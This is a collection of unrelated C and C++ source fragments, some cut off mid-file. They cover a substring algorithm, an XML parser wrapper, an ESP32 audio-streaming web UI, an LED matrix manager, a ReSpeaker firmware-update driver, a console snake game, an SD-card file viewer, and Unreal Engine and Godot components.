    int length = s.length();
    if (length == 0)
    {
        return 0;
    }
    if (length == 1)
    {
        return 1;
    }
    int dp[100000];

    dp[0] = 1;
    if (s[1] == s[0])
    {
        dp[1] = 1;
    }
    else
    {
        dp[1] = 2;
    }

    for (int i = 2; i < length; i++)
    {
        string curCandidate = s.substr((i - 1) - dp[i - 1] + 1, dp[i - 1]);
        int lastIndex = lastRepeatedIndex(curCandidate, s[i]);
        dp[i] = dp[i - 1] - lastIndex;
    }

    int result = 0;
    for (int i = 0; i < length; i++)
    {
        cout << "dp[" << i << "] = " << dp[i] << endl;
        if (dp[i] > result)
            result = dp[i];
    }
    return result;
}

int main()
{
    string s = "dvdf";
    int result = lengthOfLongestSubstring(s);
    cout << result << endl;
    return 0;
}


#include "pch.h"
#include <iostream>
#include "XML4OSMUtil.h"

XML4OSMUtil::XML4OSMUtil() {
    xercesc::XMLPlatformUtils::Initialize();
    this->m_parser = new xercesc::XercesDOMParser();
    this->m_xmlDoc = nullptr;
}

std::vector<XmlElement> XML4OSMUtil::parseXML(const char* file) {

    std::vector<XmlElement> result = {};

    this->m_parser->parse(file);

    m_xmlDoc = m_parser->getDocument();

    if (m_xmlDoc != nullptr) {
        xercesc::DOMNodeList* nodeList = m_xmlDoc->getDocumentElement()->getChildNodes();

        std::vector<PAIR_ATTR_VALUE> attributes;
        std::vector<CHILD_NODE> children;

        for (int i = 0; i < nodeList->getLength(); i++) {
            xercesc::DOMNode* currentNode = nodeList->item(i);
            if (currentNode->getNodeType() == xercesc::DOMNode::ELEMENT_NODE) {
                std::string name = xercesc::XMLString::transcode(currentNode->getNodeName());
                std::cout << xercesc::XMLString::transcode(currentNode->getNodeName()) << std::endl;
                xercesc::DOMElement *currentElement = dynamic_cast<xercesc::DOMElement*>(currentNode);
                xercesc::DOMNamedNodeMap* attr = currentElement->getAttributes();

                for (int j = 0; j < attr->getLength(); j++) {
                    std::string nodeName = xercesc::XMLString::transcode(attr->item(j)->getNodeName());
                    std::string nodeValue = xercesc::XMLString::transcode(attr->item(j)->getNodeValue());

                    attributes.push_back(std::make_pair(nodeName, nodeValue));
                }

                if (currentElement->hasChildNodes()) {
                    xercesc::DOMNodeList* childNodes = currentElement->getChildNodes();

                    for (int j = 0; j < childNodes->getLength(); j++) {
                        xercesc::DOMNode* node = childNodes->item(j);
                        std::string nodeChildName = xercesc::XMLString::transcode(node->getNodeName());

                        std::vector<PAIR_ATTR_VALUE> childAttributes;

                        xercesc::DOMNamedNodeMap* attr_child = node->getAttributes();
                        if (attr_child != nullptr) {
                            for (int k = 0; k < attr_child->getLength(); k++) {
                                std::string nodeName = xercesc::XMLString::transcode(attr_child->item(k)->getNodeName());
                                std::string nodeValue = xercesc::XMLString::transcode(attr_child->item(k)->getNodeValue());

                                childAttributes.push_back(std::make_pair(nodeName, nodeValue));
                            }
                        }

                        children.push_back(std::make_pair(nodeChildName, childAttributes));
                    }
                }

                result.push_back(XmlElement{ name, attributes, children });

                attributes.clear();
                children.clear();
            }
        }
    }

    return result;
}

XML4OSMUtil::~XML4OSMUtil() {
    delete this->m_parser;
}


#include <Arduino.h>
#include <math.h>
#include <WiFi.h>
#include <WebServer.h>
#include "WebUI.h"

// External variables and functions from main (.ino) – ESP32 RTSP Mic for BirdNET-Go
extern WiFiServer rtspServer;
extern WiFiClient rtspClient;
extern volatile bool isStreaming;
extern uint16_t rtpSequence;
extern uint32_t rtpTimestamp;
extern unsigned long lastStatsReset;
extern unsigned long lastRtspPlayMs;
extern uint32_t rtspPlayCount;
extern unsigned long lastRtspClientConnectMs;
extern unsigned long bootTime;
extern unsigned long lastRTSPActivity;
extern unsigned long lastWiFiCheck;
extern unsigned long lastTempCheck;
extern uint32_t minFreeHeap;
extern float maxTemperature;
extern bool rtspServerEnabled;
extern uint32_t audioPacketsSent;
extern uint32_t currentSampleRate;
extern float currentGainFactor;
extern uint16_t currentBufferSize;
extern uint8_t i2sShiftBits;
extern uint32_t minAcceptableRate;
extern uint32_t performanceCheckInterval;
extern bool autoRecoveryEnabled;
extern uint8_t cpuFrequencyMhz;
extern wifi_power_t currentWifiPowerLevel;
extern void resetToDefaultSettings();
extern bool autoThresholdEnabled;
extern uint32_t computeRecommendedMinRate();
extern bool scheduledResetEnabled;
extern uint32_t resetIntervalHours;
extern void scheduleReboot(bool factoryReset, uint32_t delayMs);
extern uint16_t lastPeakAbs16;
extern uint32_t audioClipCount;
extern bool audioClippedLastBlock;
extern uint16_t peakHoldAbs16;

// Local helper: snap requested Wi‑Fi TX power (dBm) to nearest supported step
static float snapWifiTxDbm(float dbm) {
    static const float steps[] = {-1.0f, 2.0f, 5.0f, 7.0f, 8.5f, 11.0f, 13.0f, 15.0f, 17.0f, 18.5f, 19.0f, 19.5f};
    float best = steps[0];
    float bestd = fabsf(dbm - steps[0]);
    for (size_t i=1;i<sizeof(steps)/sizeof(steps[0]);++i){
        float d = fabsf(dbm - steps[i]);
        if (d < bestd){ bestd = d; best = steps[i]; }
    }
    return best;
}

// Async reboot/factory-reset task to avoid restarting from HTTP context
static void rebootTask(void* arg){
    bool doFactory = ((uintptr_t)arg) != 0;
    if (doFactory) {
        resetToDefaultSettings();
    }
    vTaskDelay(pdMS_TO_TICKS(600));
    ESP.restart();
    vTaskDelete(NULL);
}

// Helper functions in main
extern float wifiPowerLevelToDbm(wifi_power_t lvl);
extern String formatUptime(unsigned long seconds);
extern String formatSince(unsigned long eventMs);
extern void restartI2S();
extern void saveAudioSettings();
extern void applyWifiTxPower(bool log);
extern const char* FW_VERSION_STR;

// Web server and in-memory log ring buffer
static WebServer web(80);
static const size_t LOG_CAP = 80;
static String logBuffer[LOG_CAP];
static size_t logHead = 0;
static size_t logCount = 0;

void webui_pushLog(const String &line) {
    logBuffer[logHead] = line;
    logHead = (logHead + 1) % LOG_CAP;
    if (logCount < LOG_CAP) logCount++;
}

static String jsonEscape(const String &s) {
    String o; o.reserve(s.length()+8);
    for (size_t i=0;i<s.length();++i){char c=s[i]; if(c=='"'||c=='\\'){o+='\\';o+=c;} else if(c=='\n'){o+="\\n";} else {o+=c;}}
    return o;
}

static String profileName(uint16_t buf) {
    // Server-side fallback (English). UI localizes on client by buffer size.
    if (buf <= 256) return F("Ultra-Low Latency (Higher CPU, May have dropouts)");
    if (buf <= 512) return F("Balanced (Moderate CPU, Good stability)");
    if (buf <= 1024) return F("Stable Streaming (Lower CPU, Excellent stability)");
    return F("High Stability (Lowest CPU, Maximum stability)");
}

static void apiSendJSON(const String &json) {
    web.sendHeader("Cache-Control", "no-cache");
    web.send(200, "application/json", json);
}

// HTML UI
static String htmlIndex() {
    String ip = WiFi.localIP().toString();
    String h;
    h += F(
        "<!doctype html><html><head><meta charset='utf-8'>"
        "<meta name='viewport' content='width=device-width,initial-scale=1'>"
        "<title>ESP32 RTSP Mic for BirdNET-Go</title>"
        "<style>:root{--bg:#0b1020;--fg:#e7ebf2;--muted:#9aa3b2;--card:#121a2e;--border:#1b2745;--acc:#4ea1f3;--acc2:#36d399;--warn:#f59e0b;--bad:#ef4444}"
        "body{font-family:system-ui,Segoe UI,Roboto,Arial,sans-serif;margin:0;background:linear-gradient(180deg,#0b1020 0%,#0f1530 100%);color:var(--fg)}"
        ".page{max-width:1000px;margin:0 auto;padding:16px}"
        ".hero{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px}"
        ".brand{display:flex;align-items:center;gap:10px;flex-wrap:wrap}"
        ".title{font-weight:700;font-size:18px;letter-spacing:.2px} .subtitle{color:var(--muted);font-size:13px}"
        ".badge{display:inline-block;border:1px solid var(--border);color:var(--muted);padding:2px 6px;border-radius:8px;font-size:12px;margin-left:8px}"
        ".card{background:var(--card);border:1px solid var(--border);border-radius:12px;padding:12px;margin-bottom:12px;box-shadow:0 1px 1px rgba(0,0,0,.2)}"
        ".row{display:grid;grid-templa


#include <bits/stdc++.h>
using namespace std;
using namespace chrono;
#define ll long long
#define pb push_back
#define all(x) (x).begin(), (x).end()
#define sz(x) ((int)(x).size())
#define fr(i,s,n) for(int i = s; i < (n); i++)
#define fre(x, v) for(auto& x : v)
#define endl "\n"
#define vi vector<int>
#define vll vector<ll>
#define pii pair<int, int>
#define pll pair<ll, ll>
#define vpii vector<pair<int, int>>
#define mi map<int,int>
#define ff first
#define ss second

const int INF = 1e9;
const long long LINF = 1e18;
const int MOD = 1e9 + 7;

#define debug(...) cerr << "[" << #__VA_ARGS__ << "] = ", dout(__VA_ARGS__)
void dout() { cerr << endl; }
template <typename T, typename... Args>
void dout(T t, Args... args) {
    cerr << t;
    if(sizeof...(args)) cerr << ", ";
    dout(args...);
}

mt19937 rng(steady_clock::now().time_since_epoch().count());
ll getRand(ll l, ll r) {
    return uniform_int_distribution<ll>(l, r)(rng);
}

void soln() {

}

signed main()
{
    ios_base::sync_with_stdio(false);
    cin.tie(nullptr);
    #ifndef ONLINE_JUDGE
        freopen("input.txt", "r", stdin);
        freopen("output.txt", "w", stdout);
    #endif

    auto start = high_resolution_clock::now();
    ll tc = 1;
    cin >> tc;
    for (ll cn = 1; cn <= tc; cn++) {
        soln();
    }

    auto end = high_resolution_clock::now();
    auto duration = duration_cast<milliseconds>(end - start).count();

    cerr << "Execution Time: " << duration << " ms" << endl;

    return 0;
}


#include "LedMatrixManager.h"

LedMatrixManager::LedMatrixManager(LedControl &l) : ledControl(l), currentAnim(nullptr)
{
    for (int i = 0; i < NUM_AUTO_ANIMS; i++)
        autoAnimList[i] = nullptr;
}

void LedMatrixManager::addAutoAnimation(Animation *anim, int index)
{
    if (index >= 0 && index < NUM_AUTO_ANIMS)
        autoAnimList[index] = anim;
}

void LedMatrixManager::update()
{
    int hour = 0; // kari TODO RTC kara syutoku
    if (hour >= 23 || hour < 6)
    {
        clearMatrix();
        return;
    }

    unsigned long now = millis();
    if (now - lastSwitch >= 3600000)
    {
        lastSwitch = now;
        autoSwitchAnimation();
    }

    Animation *target = (channelAnim != nullptr) ? channelAnim : autoAnim;

    if (currentAnim != target && target != nullptr)
    {
        currentAnim = target;
        currentAnim->start();
    }

    if (currentAnim)
    {
        currentAnim->update();
        if (currentAnim->isFinished())
            autoSwitchAnimation();
    }
}

void LedMatrixManager::autoSwitchAnimation()
{
    static int idx = 0;
    idx = (idx + 1) % NUM_AUTO_ANIMS;
    autoAnim = autoAnimList[idx];
}

void LedMatrixManager::clearMatrix()
{
    for (int addr = 0; addr < ledControl.getDeviceCount(); addr++)
    {
        for (int row = 0; row < 8; row++)
        {
            ledControl.setRow(addr, row, 0);
        }
    }
}


#include "respeaker_xvf3800.h"

#include "esphome/core/application.h"
#include "esphome/core/component.h"
#include "esphome/core/defines.h"
#include "esphome/core/helpers.h"
#include "esphome/core/log.h"
#include "esphome/core/hal.h"

#include <cinttypes>

namespace esphome {
namespace respeaker_xvf3800 {

static const char *const TAG = "respeaker_xvf3800";

void RespeakerXVF3800::setup() {
  ESP_LOGCONFIG(TAG, "Setting up RespeakerXVF3800...");

  // Try to detect the correct I2C address
    std::vector<uint8_t> test_addresses = {0x2C, 0x28, 0x2A, 0x42, 0x44, 0x50, 0x51};
    bool found_device = false;

    for (uint8_t addr : test_addresses) {
      ESP_LOGD(TAG, "Trying I2C address: 0x%02X", addr);
      this->set_i2c_address(addr);

      uint8_t test_data;
      i2c::ErrorCode err = this->read(&test_data, 1);
      if (err == i2c::ERROR_OK) {
        ESP_LOGI(TAG, "Found device at I2C address: 0x%02X", addr);
        found_device = true;
        break;
      } else {
        ESP_LOGD(TAG, "No response at address 0x%02X, error: %d", addr, (int)err);
      }
    }

    if (!found_device) {
      ESP_LOGE(TAG, "Could not find XVF3800 device on any tested address");
      this->mark_failed();
      return;
    }

  // Wait for XMOS to boot...
  this->set_timeout(3000, [this]() {
    if (!this->dfu_get_version_()) {
      ESP_LOGE(TAG, "Communication with Respeaker XVF3800 failed");
      this->mark_failed();
    } else if (!this->versions_match_() && this->firmware_bin_is_valid_()) {
      ESP_LOGW(TAG, "Expected XMOS version: %u.%u.%u; found: %u.%u.%u. Updating...", this->firmware_bin_version_major_,
               this->firmware_bin_version_minor_, this->firmware_bin_version_patch_, this->firmware_version_major_,
               this->firmware_version_minor_, this->firmware_version_patch_);
      this->start_dfu_update();
    }
  });
}

void RespeakerXVF3800::dump_config() {
  ESP_LOGCONFIG(TAG, "Respeaker XVF3800:");
  LOG_I2C_DEVICE(this);
  LOG_PIN("  Reset Pin: ", this->reset_pin_);
  if (this->firmware_version_major_ || this->firmware_version_minor_ || this->firmware_version_patch_) {
    ESP_LOGCONFIG(TAG, "  XMOS firmware version: %u.%u.%u", this->firmware_version_major_,
                  this->firmware_version_minor_, this->firmware_version_patch_);
  }
}

void RespeakerXVF3800::loop() {
  switch (this->dfu_update_status_) {
    case UPDATE_IN_PROGRESS:
    case UPDATE_REBOOT_PENDING:
    case UPDATE_VERIFY_NEW_VERSION:
      this->dfu_update_status_ = this->dfu_update_send_block_();
      break;

    case UPDATE_COMMUNICATION_ERROR:
    case UPDATE_TIMEOUT:
    case UPDATE_FAILED:
    case UPDATE_BAD_STATE:
#ifdef USE_RESPEAKER_XVF3800_STATE_CALLBACK
      this->state_callback_.call(DFU_ERROR, this->bytes_written_ * 100.0f / this->firmware_bin_length_,
                                 this->dfu_update_status_);
#endif
      this->mark_failed();
      break;

    default:
      // Normal operation - no additional logic needed here
      // Mute state is handled by the MuteSwitch component using GPO methods
      break;
  }
}

uint8_t RespeakerXVF3800::read_vnr() {
  const uint8_t vnr_req[] = {CONFIGURATION_SERVICER_RESID,
                             CONFIGURATION_SERVICER_RESID_VNR_VALUE | CONFIGURATION_COMMAND_READ_BIT, 2};
  uint8_t vnr_resp[2];

  auto error_code = this->write(vnr_req, sizeof(vnr_req));
  if (error_code != i2c::ERROR_OK) {
    ESP_LOGE(TAG, "Request status failed");
    return 0;
  }
  error_code = this->read(vnr_resp, sizeof(vnr_resp));
  if (error_code != i2c::ERROR_OK) {
    ESP_LOGE(TAG, "Failed to read VNR");
    return 0;
  }
  return vnr_resp[1];
}

void RespeakerXVF3800::start_dfu_update() {
  if (this->firmware_bin_ == nullptr || !this->firmware_bin_length_) {
    ESP_LOGE(TAG, "Firmware invalid");
    return;
  }

  ESP_LOGI(TAG, "Starting update from %u.%u.%u...", this->firmware_version_major_, this->firmware_version_minor_,
           this->firmware_version_patch_);
#ifdef USE_RESPEAKER_XVF3800_STATE_CALLBACK
  this->state_callback_.call(DFU_START, 0, UPDATE_OK);
#endif

  if (!this->dfu_set_alternate_()) {
    ESP_LOGE(TAG, "Set alternate request failed");
    this->dfu_update_status_ = UPDATE_COMMUNICATION_ERROR;
    return;
  }

  this->bytes_written_ = 0;
  this->last_progress_ = 0;
  this->last_ready_ = millis();
  this->update_start_time_ = millis();
  this->dfu_update_status_ = this->dfu_update_send_block_();
}

RespeakerXVF3800UpdaterStatus RespeakerXVF3800::dfu_update_send_block_() {
  i2c::ErrorCode error_code = i2c::NO_ERROR;
  uint8_t dfu_dnload_req[MAX_XFER + 6] = {240, 1, 130,  // resid, cmd_id, payload length,
                                          0, 0};        // additional payload length (set below)
                                                        // followed by payload data with null terminator
  if (millis() > this->last_ready_ + DFU_TIMEOUT_MS) {
    ESP_LOGE(TAG, "DFU timed out");
    return UPDATE_TIMEOUT;
  }


#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#include <ctype.h>
#include <conio.h>
#include <time.h>
#define ff fflush(stdin)

struct Body{
	int x;
	int y;
	Body *next;
}*head, *tail;

int map[40][120];

int sizeX = 90;
int sizeY = 20;
int score = 0;
int xFood = 4;
int yFood = 10;

void createBody(int x, int y)
{
	Body *body = (Body *) malloc (sizeof(Body));
	body->x = x;
	body->y = y;
	if (!head)
	{
		head = tail = body;
	}
	else
	{
		tail->next = body;
		//body->prev = tail;
		tail = body;
	}
	tail->next = NULL;
}

void gotoxy(int x, int y)
{
	COORD c = {x, y};
	SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), c);
}

void createMap()
{
	for (int i = 0; i < sizeY; i++)
	{
		for (int j = 0; j < sizeX; j++)
		{
			if (i == 0 || i == sizeY - 1 || j == 0 || j == sizeX - 1)
				map[i][j] = 1;
			else
				map[i][j] = 0;
		}
	}
	map[yFood][xFood] = 3;
}

void createFood()
{
	srand(time(NULL));
	map[yFood][xFood] = 0;
	do
	{
		xFood = rand() % (sizeX - 1) + 1;
		yFood = rand() % (sizeY - 1) + 1;
	}
	while (map[yFood][xFood] != 0);
	map[yFood][xFood] = 3;
	gotoxy(xFood, yFood);
	printf("o");
}

void viewMap()
{
	for (int i = 0; i < sizeY; i++)
	{
		for (int j = 0; j < sizeX; j++)
		{
			if (map[i][j] == 1) printf("%c", 177);
			else if (map[i][j] == 3) printf("o");
			else printf(" ");
		}
		puts("");
	}
}

bool run(int x, int y)
{
	Body *curr = head;
	int tempX;
	int tempY;
	int helpX;
	int helpY;
	while (curr)
	{
		if (curr == head)
		{
			if(score>2)
			{
				Body *vcurr=head->next->next;
				while(vcurr){
					if(vcurr->x == head->x && vcurr->y == head->y )
					{
						return false;
					}
					vcurr=vcurr->next;
				}
			}

			map[curr->y][curr->x] = 0;
			if(head->x + x < 1 || head->x + x > sizeX - 2 || head->y + y < 1 || head->y + y > sizeY - 2)
			{
				return false;
			}
			if (head->x == xFood && head->y == yFood)
			{
				int newX = tail->x - x;
				int newY = tail->y - y;
				createBody(newX, newY);
				score++;
				createFood();
			}

			gotoxy(curr->x, curr->y);
			printf(" ");
			tempX = curr->x;
			tempY = curr->y;
			curr->x = curr->x + x;
			curr->y = curr->y + y;
		}
		else
		{

			map[curr->y][curr->x] = 0;
			gotoxy(curr->x, curr->y);
			printf(" ");
			helpX = tempX;
			helpY = tempY;

			tempX = curr->x;
			tempY = curr->y;

			curr->x = helpX;
			curr->y = helpY;
		}

		map[curr->y][curr->x] = 2;
		gotoxy(curr->x, curr->y);
		printf("%c", 177);

		curr = curr->next;
	}
	return true;
}

void play()
{
	char move;
	int dir = 4;
	bool walk = true;
	int speed;
	score = 0;
	while(walk)
	{
		if(score>10)
			speed=150;
		else if(score>20)
			speed=100;
		else if(score<11)
			speed=200;
		else
			speed=50;

		if (kbhit())
		{
			switch(tolower(move = getch()))
			{
				case 'w':
					if (dir != 3) dir = 1;
					if(dir==1)speed/=2;
					break;
				case 'a':
					if (dir != 4) dir = 2;
					if(dir==2)speed/=2;
					break;
				case 's':
					if (dir != 1) dir = 3;
					if(dir==3)speed/=2;
					break;
				case 'd':
					if (dir != 2) dir = 4;
					if(dir==4)speed/=2;
					break;
			}
		}

		switch(dir)
		{
			case 1:
				walk = run(0, -1);
				break;
			case 2:
				walk = run(-1, 0);
				break;
			case 3:
				walk = run(0, 1);
				break;
			case 4:
				walk = run(1, 0);
				break;
		}

		gotoxy(1, sizeY + 1);
		printf("Score : %d", score);

		Sleep(speed);
	}
}
void popAll(){
	while(head)
	{
		Body *curr;
		curr=head;
		head=head->next;
		free(curr);
	}
}

int main()
{
	//system("BT-22051050");
	int input=0;

	while(input != 2)
	{
		system("cls");
		//printf("-------");
		puts(" ->	1.play ");
		puts(" ->	2.exit ");
		//printf("-------");
		scanf("%d",&input);ff;
		if(input==1)
		{
			system("cls");
			createBody(4, 4);
			createMap();
			viewMap();
			play();
			gotoxy(1, sizeY + 2);
			printf("game over");
			char m;
			scanf("%c",&m);
			ff;

			popAll();
		}
	}

	return 0;
}


/*
 * View CPP File
 * Author - WireBits
 */

#include "view.h"

void viewFile(String path) {
    File file = SD.open(path);
    if (!file) {
        Serial.println("[!] Failed to open file!");
        return;
    }
    Serial.println("------------------------------");
    while (file.available()) {
        Serial.write(file.read());
    }
    Serial.println("\n------------------------------");
    file.close();
}

void listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
    Serial.printf("[*] Listing directory: %s\n", dirname);

    File root = fs.open(dirname);
    if (!root || !root.isDirectory()) {
        Serial.println("[!] Failed to open directory!");
        return;
    }

    File file = root.openNextFile();
    while (file) {
        if (file.isDirectory()) {
            Serial.print("  DIR : ");
            Serial.println(file.name());
            if (levels) listDir(fs, file.name(), levels - 1);
        } else {
            Serial.print("  FILE: ");
            Serial.print(file.name());
            Serial.print("  SIZE: ");
            Serial.println(file.size());
        }
        file = root.openNextFile();
    }
}


// Fill out your copyright notice in the Description page of Project Settings.

#include "OSC/HealthComponent.h"
#include "GameFramework/Actor.h"
#include "GameFramework/Controller.h"
#include "GameFramework/Character.h"
#include "GameFramework/CharacterMovementComponent.h"
#include "Kismet/GameplayStatics.h"
#include "Components/PrimitiveComponent.h"
#include "Engine/EngineTypes.h"
#include "Components/SkeletalMeshComponent.h"
#include "Components/CapsuleComponent.h"
#include "TimerManager.h"

// 컴포넌트 기본값 설정(틱 활성화 등)
UHealthComponent::UHealthComponent()
{
	// Set this component to be initialized when the game starts, and to be ticked every frame.  You can turn these features
	// off to improve performance if you don't need them.
	PrimaryComponentTick.bCanEverTick = true;

	// ...
}

// BeginPlay: 체력 초기화 및 데미지 콜백 연결
void UHealthComponent::BeginPlay()
{
    Super::BeginPlay();

    CurrentHealth = MaxHealth;

    if (AActor* Owner = GetOwner())
    {
        Owner->SetCanBeDamaged(true);
        Owner->OnTakeAnyDamage.AddDynamic(this, &UHealthComponent::HandleAnyDamage);
        Owner->OnTakePointDamage.AddDynamic(this, &UHealthComponent::HandlePointDamage);
        Owner->OnTakeRadialDamage.AddDynamic(this, &UHealthComponent::HandleRadialDamage);
    }
}

// 매 프레임 호출(필요 시 HUD 동기화 등 확장 가능)
void UHealthComponent::TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction)
{
    Super::TickComponent(DeltaTime, TickType, ThisTickFunction);
    if (bIsRagdolling && bSyncCapsuleToRagdoll)
    {
        UpdateCapsuleFollowRagdoll(DeltaTime);
    }
}

void UHealthComponent::Heal(float Amount)
{
    if (Amount <= 0.f || CurrentHealth <= 0.f)
        return;

    const float Old = CurrentHealth;
    CurrentHealth = FMath::Clamp(CurrentHealth + Amount, 0.f, MaxHealth);
    OnHealthChanged.Broadcast(CurrentHealth, CurrentHealth - Old);
}

// 외부에서 데미지 유도 시 사용(엔진 ApplyDamage를 통해 내부 이벤트 흐름으로 연결)
void UHealthComponent::ApplyDamage(float Amount, AActor* DamageCauser, AController* InstigatedBy, TSubclassOf<UDamageType> DamageType)
{
    if (Amount <= 0.f)
        return;

    if (AActor* Owner = GetOwner())
    {
        ApplyDamageInternal(Amount, DamageCauser, InstigatedBy, nullptr);
        //UGameplayStatics::ApplyDamage(Owner, Amount, InstigatedBy, DamageCauser, DamageType);
    }
}

// 현재 체력만큼 내부 데미지 처리 → 즉시 사망 유도
void UHealthComponent::Kill()
{
    if (CurrentHealth <= 0.f)
        return;

    ApplyDamageInternal(CurrentHealth, /*DamageCauser*/nullptr, /*InstigatedBy*/nullptr, /*DamageType*/nullptr);
}

// 엔진 AnyDamage 콜백 → 내부 공통 처리로 위임
void UHealthComponent::HandleAnyDamage(AActor* DamagedActor, float Damage, const UDamageType* DamageType, AController* InstigatedBy, AActor* DamageCauser)
{
    // ApplyDamageInternal(Damage, DamageCauser, InstigatedBy, DamageType);
}

// 포인트 데미지(탄환 등) 콜백 → 내부 공통 처리로 위임
void UHealthComponent::HandlePointDamage(AActor* DamagedActor, float Damage, AController* InstigatedBy, FVector HitLocation, UPrimitiveComponent* FHitComponent, FName BoneName, FVector ShotFromDirection, const UDamageType* DamageType, AActor* DamageCauser)
{
    if (HitParticle)
    {
        UGameplayStatics::SpawnEmitterAtLocation(GetWorld(), HitParticle, HitLocation);
    }

    ApplyDamageInternal(Damage, DamageCauser, InstigatedBy, DamageType);
}

// 반경 데미지(폭발 등) 콜백 → 내부 공통 처리로 위임
void UHealthComponent::HandleRadialDamage(AActor* DamagedActor, float Damage, const UDamageType* DamageType, FVector Origin, const FHitResult& HitInfo, AController* InstigatedBy, AActor* DamageCauser)
{
    ApplyDamageInternal(Damage, DamageCauser, InstigatedBy, DamageType);

    // Step 1: 간단한 래그돌 + 임펄스 적용 (데미지 비례)
    if (Damage <= 0.f)
    {
        return;
    }

    AActor* Owner = GetOwner();
    if (!Owner)
    {
        return;
    }

    USkeletalMeshComponent* Mesh = nullptr;
    if (ACharacter* Char = Cast<ACharacter>(Owner))
    {
        Mesh = Char->GetMesh();
    }
    if (!Mesh)
    {
        Mesh = Cast<USkeletalMeshComponent>(Owner->GetComponentByClass(USkeletalMeshComponent::StaticClass()));
    }
    if (!Mesh)
    {
        return;
    }

    // PhysicsAsset이 없으면 물리 시뮬레이션 불가
    if (!Mesh->GetPhysicsAsset())
    {
        return;
    }

    // 래그돌 활성화(최소 설정)
    if (!Mesh->IsSimulatingPhysics())
    {
        PrevMeshCollisionProfileName = Mesh->GetCollisionProfileName();

        // Detach mesh from capsule to avoid parent influence during ragdoll
        if (ACharacter* CharOwner = Cast<ACharacter>(Owner))
        {
            SavedMeshRelativeTransform = Mesh->GetRelativeTransform();
            Mesh->DetachFromComponent(FDetachmentTransformRules::KeepWorldTransform);
            bDetachedMeshDuringRagdoll = true;
        }
        Mesh->SetCollisionProfileName(TEXT("Ragdoll"));
        Mesh->SetCollisionEnabled(ECollisionEnabled::QueryAndPhysics);
        Mesh->SetSimulatePhysics(true);
        Mesh->SetAllBodiesSimulatePhysics(true);
        Mesh->WakeAllRig


#include "webview_node.h"
#include "webview/api.h"  // Use C API
#include "core/config/engine.h"
#include "core/error/error_macros.h"

void WebViewNode::_bind_methods() {
	// Core WebView functions
	ClassDB::bind_method(D_METHOD("load_url", "url"), &WebViewNode::load_url);
	ClassDB::bind_method(D_METHOD("load_html", "html"), &WebViewNode::load_html);
	ClassDB::bind_method(D_METHOD("navigate", "url"), &WebViewNode::navigate);
	ClassDB::bind_method(D_METHOD("go_back"), &WebViewNode::go_back);
	ClassDB::bind_method(D_METHOD("go_forward"), &WebViewNode::go_forward);
	ClassDB::bind_method(D_METHOD("reload"), &WebViewNode::reload);
	ClassDB::bind_method(D_METHOD("stop"), &WebViewNode::stop);

	// JavaScript execution
	ClassDB::bind_method(D_METHOD("eval_javascript", "script"), &WebViewNode::eval_javascript);
	ClassDB::bind_method(D_METHOD("bind_function", "name", "callable"), &WebViewNode::bind_function);

	// Properties
	ClassDB::bind_method(D_METHOD("set_url", "url"), &WebViewNode::set_url);
	ClassDB::bind_method(D_METHOD("get_url"), &WebViewNode::get_url);
	ClassDB::bind_method(D_METHOD("set_debug", "debug"), &WebViewNode::set_debug);
	ClassDB::bind_method(D_METHOD("get_debug"), &WebViewNode::get_debug);

	// Window properties
	ClassDB::bind_method(D_METHOD("set_title", "title"), &WebViewNode::set_title);
	ClassDB::bind_method(D_METHOD("get_title"), &WebViewNode::get_title);
	ClassDB::bind_method(D_METHOD("set_webview_size", "size"), &WebViewNode::set_webview_size);
	ClassDB::bind_method(D_METHOD("get_webview_size"), &WebViewNode::get_webview_size);

	// Properties
	ADD_PROPERTY(PropertyInfo(Variant::STRING, "url"), "set_url", "get_url");
	ADD_PROPERTY(PropertyInfo(Variant::BOOL, "debug"), "set_debug", "get_debug");

	// Signals
	ADD_SIGNAL(MethodInfo("page_loaded", PropertyInfo(Variant::STRING, "url")));
	ADD_SIGNAL(MethodInfo("page_load_failed", PropertyInfo(Variant::STRING, "url"), PropertyInfo(Variant::STRING, "error")));
	ADD_SIGNAL(MethodInfo("title_changed", PropertyInfo(Variant::STRING, "title")));
}

WebViewNode::WebViewNode() {
	print_line("WebView: Constructor called");
	webview = nullptr;
	current_url = "";
	debug_enabled = false;
	is_initialized = false;
	initialization_attempted = false;
	set_clip_contents(true);
	set_focus_mode(Control::FOCUS_ALL);
	print_line("WebView: Constructor completed");
}

WebViewNode::~WebViewNode() {
	print_line("WebView: Destructor called");
	_cleanup_webview();
	print_line("WebView: Destructor completed");
}

void WebViewNode::_notification(int p_what) {
	switch (p_what) {
		case NOTIFICATION_READY: {
			print_line("WebView: NOTIFICATION_READY received");
			if (Engine::get_singleton()->is_editor_hint()) {
				print_line("WebView: In editor mode, skipping initialization");
				return; // Don't initialize in editor
			}
			print_line("WebView: Calling _initialize_webview()");
			_initialize_webview();
		} break;

		case NOTIFICATION_EXIT_TREE: {
			print_line("WebView: NOTIFICATION_EXIT_TREE received");
			_cleanup_webview();
		} break;

		case NOTIFICATION_RESIZED: {
			print_line("WebView: NOTIFICATION_RESIZED received");
			if (is_initialized && webview) {
				Vector2i size = get_size();
				print_line("WebView: Resizing to: " + String::num(size.x) + "x" + String::num(size.y));
				webview_set_size(webview, size.x, size.y, WEBVIEW_HINT_NONE);
			}
		} break;
	}
}

void WebViewNode::_initialize_webview() {
	print_line("WebView: _initialize_webview() called");

	if (is_initialized) {
		print_line("WebView: Already initialized, returning");
		return;
	}

	if (Engine::get_singleton()->is_editor_hint()) {
		print_line("WebView: In editor hint mode, returning");
		return;
	}

	print_line("WebView: Initializing webview on MAIN THREAD (as required by WebKit)");

	// Add a safety check - defer initialization if we're not ready
	if (!is_inside_tree()) {
		print_line("WebView: Not in tree yet, deferring initialization");
		call_deferred("_initialize_webview");
		return;
	}

	print_line("WebView: Current URL to load: '" + current_url + "'");
	print_line("WebView: Debug enabled: " + String::num(debug_enabled));

	// Create webview on MAIN THREAD (as required by WebKit on macOS)
	print_line("WebView: About to call webview_create() on main thread");

	webview = webview_create(debug_enabled ? 1 : 0, nullptr);

	print_line("WebView: webview_create() call completed!");

	if (!webview) {
		print_line("WebView: ERROR - webview_create() returned nullptr");
		ERR_PRINT("Failed to create WebView instance");
		return;
	}

	print_line("WebView: SUCCESS - webview_create() returned a valid webview instance!");
	is_initialized = true;

	// Set window properties
	print_line("WebView: Setting window title and size");
	webview_set_title(webview, "Godot WebView - Test Window");
